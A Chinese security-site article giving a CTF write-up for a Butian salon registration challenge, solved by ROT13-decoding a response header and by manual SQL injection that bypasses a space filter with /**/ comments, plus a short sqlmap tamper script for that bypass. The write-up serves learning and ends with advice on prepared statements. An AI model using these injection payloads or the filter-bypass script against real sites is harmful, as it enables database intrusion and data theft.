欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

看我如何报名补天沙龙-成都站

来源:本站整理 作者:95zz 时间:2016-10-30 TAG: 我要投稿

声明,这不是广告,因为现在是凌晨,而沙龙是白天下午一点开始。

不过还是要提一下,主办方是补天漏洞平台、承办方是安全盒子。

想要报名参会需要通过一道CTF,CTF是为了测试参会人员基础够不够资格参加沙龙。

正文:

喂?

在干嘛呢,补天报名地址出来了,但是我报不了。

为什么报不了啊?

握草,报名地址就是个CTF,我不知道这什么加密

等会,半小时到家。

这题比较有趣,报名地址是公众号文章内的原文地址。

进入以后快速的填写资料提交无反应,第一反应是查看源代码,不到十秒钟看到了两个js文件,略懂一点javascript。不敢班门弄斧,上相关资料。

百度touch的手势框架,touch.js

http://jingyan.baidu.com/Article/7f766daf5936914101e1d03d.html

通俗来说,这两个文件存在基本就是需要手机来提交。

到了这里得到了game地址,进去http://butian.secbox.cn以后就是很简单的欢迎语。直觉告诉我要看看http请求里,可能是因为上海站沙龙站我出题的时候也是这个思路吧。

真庆幸自己也经常用返回包这招捉弄新手,直觉帮我少走了许多弯路,直接在响应头里面看见一串奇怪的字符。不巧的是我又刚好略懂加密。

根据以往的经验判断是ROT13 加密,ROT13 加密是凯撒加密的一种。现在常常被当作弱加密示例的典型,也是当下很多基础ctf小游戏经常出现的一道题。

解密地址:网络管理员在线工具

得出结果:Flag{wElCoMe_tO_BuTi4n}

解决时间:三分钟

莫方,还要第二种解法

?Id=1 2 3...... 分别返回不同的结果,猜测有注入。只是做了一些限制

前阵子玩耍某ctf比赛的时候,遇到了一个LuManager15年12月爆出的漏洞。结果用sqlmap带入tamper成功跑出

想着这道题可能也会有这样的情况。带上tamper失败

开始手工注入:

?id=1返回: ctf gogogo


?id=2返回: where is flag?


?id=3返回: flag is in database

手工查看过滤了什么函数

?id=3%27

返回报错页面,再次尝试

?id=3-1

正常返回where is flag?,可以看见数据库进行了正常的运算。确定存在注入了。

经过短暂的探测,过滤函数如下:

空格、and、or、infomation_schema、ORDER BY......

空格尝试/**/进行替代

/?id=2/**/-1

正常返回ID=1的所属值 ,所以空格基本可以用/**/代替 ,测试union select没有被过滤

那么进行报错联合查询?id=-1/**/union/**/select/**/1

手工判断是否能显示报错进行,测试只能union select 1,1个字段进行数据显示

?id=-1/**/union/**/select/**/USER()# 爆出peter@localhost

接着使用id=-1/**/union/**/select/**/database() 爆出库名

进行信息分析根据上面不同返回信息进行分别尝试

判断语句:?id=-1/**/union/**/select/**/1/**/from/**/websql.flag

上面已经得到库名为websql、那么我的语句意思是:

如果数据库名是websql,表名是flag,则返回1。 如果表名不是flag则返回报错页面

/?id=-1/**/union/**/select/**/flag/**/from/**/websql.flag

同样的方法最后得到flag

库名是websql、表名是flag、字段名也是flag、内容是FLAG{wElCoMe_tO_BuTi4n}

手工注入以后是脚本

sqlmap的tamper目录里有需要py脚本,这些脚本大部分是帮助我们绕过防注入的。

根据这个案例我也写了一个小脚本,在sqlmap tamper目录里面随便找个脚本,按照现有的脚本进行编写,因为空格被过滤,所以需要/**/进行代替

#!/usr/bin/env python

"""
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass
#tamper 方法里面进行更改 第一个参数是payload,第二个是headers  http请求头信息
def tamper(payload, headers):
    """
    Replaces 空格  with /**/

    Example:
        * Input: 1' and 1=1
        * Output: 1'/**/and/**/1=1
    """
    #payload=payload.upper()
    return payload.replace(" ", "/**/") if payload else payload, headers

加了一些注释,python初学者也能很好理解吧?

这里在编写脚本以后一度无法爆出表和字段名。于是我猜测是在sqlmap的表、字段的字典中没有flag。于是加上

最终运行结果:

结语:

这个报名题,比较基础。也只是一个小小的门槛题,22号白天下午才是正菜,希望我等弱鸡能够通过并分享给大家,感谢观看。

想要更好的防注入,采用SQL预编译技术。注意字节编码。

如果自己写公共处理类,可以参考一下dedecms、Discuz! 等等......

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载